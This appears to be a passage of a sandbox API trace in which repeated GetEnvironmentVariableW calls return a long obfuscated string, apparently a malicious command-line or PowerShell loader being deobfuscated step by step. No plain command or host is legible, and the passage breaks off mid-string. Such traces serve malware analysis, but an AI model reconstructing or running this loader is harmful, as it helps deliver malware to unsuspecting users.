	[0057.022] GetEnvironmentVariableW (in: lpName="`-$", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3p6aK.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'a3pgYF3p'+']'+'gYqF3p6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'7K'+'3737-%'+'`k7yegY-7Ks'+'sem3QI93p`'+'qF3p6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'F3p66k7yuuQI37s'+'aKF3p]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11F3p]gYqF3p6NeGC7y.W'+'e3QI97yjUa'+'3pZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'F3p66k7yuuQI'+'mQIaKF3p]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]ea,%zwLh1'+'F3p6'+'6'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\F3p66k7yuuQI'+'GC7y'+'GC7yaKF3p66k7yuuQI37s.awLe'+'GC7yGC7yyZ7e3p1F3p66k7yuuQI7axd'+'F3p6'+'6k7yuuQI_'+')[F3p66k7yuuQImQI'+'{F3p66k7yuuQI'+'_:H2iy+F3p66k7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3p66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5):jUn6)-3QI9X]'+'1F3p66k7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 7Kjh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1F3p66'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3pa7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#H).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]Pjy9iy+{7yjUa%zwLh7K]Pjyiy#+{7yjUa%zwLh7K]PjyjUn 6)axd{s%RInawLPjy{7yjUa%zwLh7K]PjyjUn2H).Rek7y3pa7yjUawL11{7yjUa%zwLh7K]PjyjUnjUniy+{7yjUa%zwLh7K]Pjy5H+{7yjUa%zwLh7K]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLh7K]Pjy#6))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYF3p6aRI7K3QI93pe8 e:XbGC7y).7yaTdvwL.InF3p6PjQIwL7yjUaXmuQIanjU.IqF3p6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqF3p6N7y8 s3Td]7y).F3p6aTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3p6NZqF3p6N%wL]a7yjUa%IgYgY-qF3p6NX3pPjgY-4ZqF3p6NgY%zwLhI3737engY-e7e,v%IPjqF3p6Nk7yPjTdI,gY3QI9`GC7yy7KjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjUaPjmuQI7KqF3p6N37gYgYgYgYgY^^^^^^^&1gY@eqF3p6N7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x759
	[0057.026] GetEnvironmentVariableW (in: lpName="[$@+", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]F3p6aK.gY1gY@sheZ7ye3pTdI37{jUnPjy+@s%zwLhwLTd3pI37{jUn#Pjy+'Xb')gY11's'+'a3pgYF3p'+']'+'gYqF3p6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7yegY-As'+'sem3QI93p`'+'qF3p6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'F3p66k7yuuQI37s'+'aKF3p]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11F3p]gYqF3p6NeGC7y.W'+'e3QI97yjUa'+'3pZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gF3pjUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'F3p66k7yuuQI'+'mQIaKF3p]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\F3pX]ea,%zwLh1'+'F3p6'+'6'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\F3p66k7yuuQI'+'GC7y'+'GC7yaKF3p66k7yuuQI37s.awLe'+'GC7yGC7yyZ7e3p1F3p66k7yuuQI7axd'+'F3p6'+'6k7yuuQI_'+')[F3p66k7yuuQImQI'+'{F3p66k7yuuQI'+'_:H2iy+F3p66k7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'3pX'+'X]11F3p66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5):jUn6)-3QI9X]'+'1F3p66k7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 Ajh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1F3p66'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7y3pa7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#H).Rek7y3pa7yjUawL11{7yjUa%zwLhA]Pjy9iy+{7yjUa%zwLhA]Pjyiy#+{7yjUa%zwLhA]PjyjUn 6)axd{s%RInawLPjy{7yjUa%zwLhA]PjyjUn2H).Rek7y3pa7yjUawL11{7yjUa%zwLhA]PjyjUnjUniy+{7yjUa%zwLhA]Pjy5H+{7yjUa%zwLhA]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#6))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYF3p6aRIA3QI93pe8 e:XbGC7y).7yaTdvwL.InF3p6PjQIwL7yjUaXmuQIanjU.IqF3p6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqF3p6N7y8 s3Td]7y).F3p6aTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywL3pTdgYgY-nXqF3p6NZqF3p6N%wL]a7yjUa%IgYgY-qF3p6NX3pPjgY-4ZqF3p6NgY%zwLhI3737engY-e7e,v%IPjqF3p6Nk7yPjTdI,gY3QI9`GC7yyAjhjhgYgY-nPjGC7yy]PjzwLhI3pegYgY-7yjUaPjmuQIAqF3p6N37gYgYgYgYgY^^^^^^^&1gY@eqF3p6N7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x74a
	[0057.038] GetEnvironmentVariableW (in: lpName="@-", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]Fl6aK.gY1gY@sheZ7yelTdI37{jUnPjy+@s%zwLhwLTdlI37{jUn#Pjy+'Xb')gY11's'+'algYFl'+']'+'gYqFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7yegY-As'+'sem3QI9l`'+'qFl6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl]gYqFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zwLh1'+'Fl6'+'6'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.awLe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_:H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5):jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 Ajh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7yla7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#H).Rek7yla7yjUawL11{7yjUa%zwLhA]Pjy9iy+{7yjUa%zwLhA]Pjyiy#+{7yjUa%zwLhA]PjyjUn 6)axd{s%RInawLPjy{7yjUa%zwLhA]PjyjUn2H).Rek7yla7yjUawL11{7yjUa%zwLhA]PjyjUnjUniy+{7yjUa%zwLhA]Pjy5H+{7yjUa%zwLhA]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#6))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYFl6aRIA3QI9le8 e:XbGC7y).7yaTdvwL.InFl6PjQIwL7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqFl6N7y8 s3Td]7y).Fl6aTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywLlTdgYgY-nXqFl6NZqFl6N%wL]a7yjUa%IgYgY-qFl6NXlPjgY-4ZqFl6NgY%zwLhI3737engY-e7e,v%IPjqFl6Nk7yPjTdI,gY3QI9`GC7yyAjhjhgYgY-nPjGC7yy]PjzwLhIlegYgY-7yjUaPjmuQIAqFl6N37gYgYgYgYgY^^^^^^^&1gY@eqFl6N7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x719
	[0057.042] GetEnvironmentVariableW (in: lpName="~`*?", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]Fl6aK.gY1gY@sheZ7yelTdI37{jUnPjy+@s%zwLhwLTdlI37{jUn#Pjy+'Xb')gY11's'+'algYFl'+']'+'gYqFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7yegY-As'+'sem3QI9l`'+'qFl6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl]gYqFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zwLhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zwLh1'+'Fl6'+'6'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.awLe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zwLhPjy8 8 zwLh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5)*jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.awLgY-3QI9an37gYjUn5))}'+'}['+'I'+'wLXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.wL'+'n,X37Zn'+'g'+'Pjy8 8 Ajh7yjUaII.'+'awLeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7yla7yjUawL1'9a7'axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#H).Rek7yla7yjUawL11{7yjUa%zwLhA]Pjy9iy+{7yjUa%zwLhA]Pjyiy#+{7yjUa%zwLhA]PjyjUn 6)axd{s%RInawLPjy{7yjUa%zwLhA]PjyjUn2H).Rek7yla7yjUawL11{7yjUa%zwLhA]PjyjUnjUniy+{7yjUa%zwLhA]Pjy5H+{7yjUa%zwLhA]PjyiyjUn)axd{s%RInawLPjy{7yjUa%zwLhA]Pjy#6))^&^&gYse%gYgYajUI/`aKwL,%zwLhPjgY1gZgYFl6aRIA3QI9le8 e*XbGC7y).7yaTdvwL.InFl6PjQIwL7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqFl6N7y8 s3Td]7y).Fl6aTd3egYgY)gYgY^^^|GC7yyPj4wLRsheZ7ywLlTdgYgY-nXqFl6NZqFl6N%wL]a7yjUa%IgYgY-qFl6NXlPjgY-4ZqFl6NgY%zwLhI3737engY-e7e,v%IPjqFl6Nk7yPjTdI,gY3QI9`GC7yyAjhjhgYgY-nPjGC7yy]PjzwLhIlegYgY-7yjUaPjmuQIAqFl6N37gYgYgYgYgY^^^^^^^&1gY@eqFl6N7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7wLgYgYgY,g,gYoa37Z/Tgo") returned 0x719
	[0057.044] GetEnvironmentVariableW (in: lpName="#;", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]Fl6aK.gY1gY@sheZ7yelTdI37{jUnPjy+@s%zEhETdlI37{jUn#Pjy+'Xb')gY11's'+'algYFl'+']'+'gYqFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7yegY-As'+'sem3QI9l`'+'qFl6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl]gYqFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys8 ,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g9 ,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl]gYu`'+'GC7y'+'e{PjygY'+'2jUnH [1 .'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zEh1'+'Fl6'+'6'+'k7yuuQI7gYZn1 ..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy8 8 zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5)*jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aEgY-3QI9an37gYjUn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'n,X37Zn'+'g'+'Pjy8 8 Ajh7yjUaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{ .'+'.'+'jUn'+'9 ('+'Pjy)'+')').Rek7yla7yjUaE1'9a7'axd{s%RInaEPjy{7yjUa%zEhA]Pjy#H).Rek7yla7yjUaE11{7yjUa%zEhA]Pjy9iy+{7yjUa%zEhA]Pjyiy#+{7yjUa%zEhA]PjyjUn 6)axd{s%RInaEPjy{7yjUa%zEhA]PjyjUn2H).Rek7yla7yjUaE11{7yjUa%zEhA]PjyjUnjUniy+{7yjUa%zEhA]Pjy5H+{7yjUa%zEhA]PjyiyjUn)axd{s%RInaEPjy{7yjUa%zEhA]Pjy#6))^&^&gYse%gYgYajUI/`aKE,%zEhPjgY1gZgYFl6aRIA3QI9le8 e*XbGC7y).7yaTdvE.InFl6PjQIE7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqFl6N7y8 s3Td]7y).Fl6aTd3egYgY)gYgY^^^|GC7yyPj4ERsheZ7yElTdgYgY-nXqFl6NZqFl6N%E]a7yjUa%IgYgY-qFl6NXlPjgY-4ZqFl6NgY%zEhI3737engY-e7e,v%IPjqFl6Nk7yPjTdI,gY3QI9`GC7yyAjhjhgYgY-nPjGC7yy]PjzEhIlegYgY-7yjUaPjmuQIAqFl6N37gYgYgYgYgY^^^^^^^&1gY@eqFl6N7y8 7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7EgYgYgY,g,gYoa37Z/Tgo") returned 0x6f5
	[0057.047] GetEnvironmentVariableW (in: lpName="*{[", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7ygYgYsvTd]Fl6aK.gY1gY@sheZ7yelTdI37{jUnPjy+@s%zEhETdlI37{jUn#Pjy+'Xb')gY11's'+'algYFl'+']'+'gYqFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7yegY-As'+'sem3QI9l`'+'qFl6NamegY9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl]gYjh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl]gYqFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys80,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g90,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl]gYu`'+'GC7y'+'e{PjygY'+'2jUnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zEh1'+'Fl6'+'6'+'k7yuuQI7gYZn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy8080zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5)*jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aEgY-3QI9an37gYjUn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'n,X37Zn'+'g'+'Pjy8080Ajh7yjUaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'jUn'+'90('+'Pjy)'+')').Rek7yla7yjUaE1'9a7'axd{s%RInaEPjy{7yjUa%zEhA]Pjy#H).Rek7yla7yjUaE11{7yjUa%zEhA]Pjy9iy+{7yjUa%zEhA]Pjyiy#+{7yjUa%zEhA]PjyjUn06)axd{s%RInaEPjy{7yjUa%zEhA]PjyjUn2H).Rek7yla7yjUaE11{7yjUa%zEhA]PjyjUnjUniy+{7yjUa%zEhA]Pjy5H+{7yjUa%zEhA]PjyiyjUn)axd{s%RInaEPjy{7yjUa%zEhA]Pjy#6))^&^&gYse%gYgYajUI/`aKE,%zEhPjgY1gZgYFl6aRIA3QI9le80e*XbGC7y).7yaTdvE.InFl6PjQIE7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11TdjhgYeqFl6N7y80s3Td]7y).Fl6aTd3egYgY)gYgY^^^|GC7yyPj4ERsheZ7yElTdgYgY-nXqFl6NZqFl6N%E]a7yjUa%IgYgY-qFl6NXlPjgY-4ZqFl6NgY%zEhI3737engY-e7e,v%IPjqFl6Nk7yPjTdI,gY3QI9`GC7yyAjhjhgYgY-nPjGC7yy]PjzEhIlegYgY-7yjUaPjmuQIAqFl6N37gYgYgYgYgY^^^^^^^&1gY@eqFl6N7y807yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv%gY)gYgY^&^&gYgY,m37.e7EgYgYgY,g,gYoa37Z/Tgo") returned 0x6f5
	[0057.051] GetEnvironmentVariableW (in: lpName="@#?.", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7y  svTd]Fl6aK. 1 @sheZ7yelTdI37{jUnPjy+@s%zEhETdlI37{jUn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl] jh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys80,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g90,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl] u`'+'GC7y'+'e{Pjy '+'2jUnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zEh1'+'Fl6'+'6'+'k7yuuQI7 Zn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy8080zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5)*jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aE -3QI9an37 jUn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'n,X37Zn'+'g'+'Pjy8080Ajh7yjUaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'jUn'+'90('+'Pjy)'+')').Rek7yla7yjUaE1'9a7'axd{s%RInaEPjy{7yjUa%zEhA]Pjy#H).Rek7yla7yjUaE11{7yjUa%zEhA]Pjy9iy+{7yjUa%zEhA]Pjyiy#+{7yjUa%zEhA]PjyjUn06)axd{s%RInaEPjy{7yjUa%zEhA]PjyjUn2H).Rek7yla7yjUaE11{7yjUa%zEhA]PjyjUnjUniy+{7yjUa%zEhA]Pjy5H+{7yjUa%zEhA]PjyiyjUn)axd{s%RInaEPjy{7yjUa%zEhA]Pjy#6))^&^& se%  ajUI/`aKE,%zEhPj 1gZ Fl6aRIA3QI9le80e*XbGC7y).7yaTdvE.InFl6PjQIE7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11Tdjh eqFl6N7y80s3Td]7y).Fl6aTd3e  )  ^^^|GC7yyPj4ERsheZ7yElTd  -nXqFl6NZqFl6N%E]a7yjUa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7e,v%IPjqFl6Nk7yPjTdI, 3QI9`GC7yyAjhjh  -nPjGC7yy]PjzEhIle  -7yjUaPjmuQIAqFl6N37     ^^^^^^^&1 @eqFl6N7y807yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% )  ^&^&  ,m37.e7E   ,g, oa37Z/Tgo") returned 0x6c0
	[0057.054] GetEnvironmentVariableW (in: lpName="'}_-", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7y  svTd]Fl6aK. 1 @sheZ7yelTdI37{jUnPjy+@s%zEhETdlI37{jUn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.jU]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl] jh`sGC7ye'+'m.'+'jU]a4Zn'+'g.u'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yjUa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g90,gFljUn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl] u`'+'GC7y'+'e{Pjy '+'2jUnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zEh1'+'Fl6'+'6'+'k7yuuQI7 Zn10..H'+'2('+'))\\Fl66k7yuuQI'+'GC7y'+'GC7yaKFl66k7yuuQI37s.aEe'+'GC7yGC7yyZ7el1Fl66k7yuuQI7axd'+'Fl6'+'6k7yuuQI_'+')[Fl66k7yuuQImQI'+'{Fl66k7yuuQI'+'_*H2iy+Fl66k7yuuQI7PjyaK1{maGC7y%zEhPjy::zEh'+'lX'+'X]11Fl66'+'k7yuuQIGC7yGC7y.u-3QI9an37jUn5)*jUn6)-3QI9X]'+'1Fl66k7yuuQIGC7y'+'GC7y.aE -3QI9an37 jUn5))}'+'}['+'I'+'EXb1'+'{jh`sGC7y'+'em.%e7'+'GC7y.E'+'n,X37Zn'+'g'+'Pjy::Ajh7yjUaII.'+'aEeGC7yjh'+'GC7y]Zng1Fl66'+'k7yuuQI'+'mQI{0.'+'.'+'jUn'+'90('+'Pjy)'+')').Rek7yla7yjUaE1'9a7'axd{s%RInaEPjy{7yjUa%zEhA]Pjy#H).Rek7yla7yjUaE11{7yjUa%zEhA]Pjy9iy+{7yjUa%zEhA]Pjyiy#+{7yjUa%zEhA]PjyjUn06)axd{s%RInaEPjy{7yjUa%zEhA]PjyjUn2H).Rek7yla7yjUaE11{7yjUa%zEhA]PjyjUnjUniy+{7yjUa%zEhA]Pjy5H+{7yjUa%zEhA]PjyiyjUn)axd{s%RInaEPjy{7yjUa%zEhA]Pjy#6))^&^& se%  ajUI/`aKE,%zEhPj 1gZ Fl6aRIA3QI9le:e*XbGC7y).7yaTdvE.InFl6PjQIE7yjUaXmuQIanjU.IqFl6N7yPjQIes7yjUaRZGC7yy%11Tdjh eqFl6N7y:s3Td]7y).Fl6aTd3e  )  ^^^|GC7yyPj4ERsheZ7yElTd  -nXqFl6NZqFl6N%E]a7yjUa%I  -qFl6NXlPj -4ZqFl6N %zEhI3737en -e7e,v%IPjqFl6Nk7yPjTdI, 3QI9`GC7yyAjhjh  -nPjGC7yy]PjzEhIle  -7yjUaPjmuQIAqFl6N37     ^^^^^^^&1 @eqFl6N7y:7yjUaXmsGC7yye,{Haxd2Haxd25Pjy-TdQXIn'')1@Znk7yv% )  ^&^&  ,m37.e7E   ,g, oa37Z/Tgo") returned 0x6b8
	[0057.056] GetEnvironmentVariableW (in: lpName=";]", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="seGC7y  svTd]Fl6aK. 1 @sheZ7yelTdI37{DnPjy+@s%zEhETdlI37{Dn#Pjy+'Xb') 11's'+'al Fl'+']'+' qFl6N'+'e4-Pj3QI9heZe,'+'GC7y'+'['+'A'+'3737-%'+'`k7ye -As'+'sem3QI9l`'+'qFl6Name 9a7jh`sGC7yem.D]a'+'4'+'Zng9a7['+'Fl66k7yuuQI37s'+'aKFl] jh`sGC7ye'+'m.'+'D]a4Zn'+'g.u'+'ZGC7ymak7y11Fl] qFl6NeGC7y.W'+'e3QI97yDa'+'lZenGC7y).'+'Pjk7yenRea3719a'+'7'+'%zEhGC7yGC7yk7ys:,g,gZmag'+'es2.Zmg3QI9X'+'7.,X'+'m,g90,gFlDn,g'+'gaGC7y2uQI7ysK_X.'+'k7yng9a7'+'))['+'Fl66k7yuuQI'+'mQIaKFl] u`'+'GC7y'+'e{Pjy '+'2DnH0[10.'+'.H)3QI9'+'jh'+'heZo\\FlX]ea,%zEh1'+'Fl6'+'6'+'k7yuuQI7 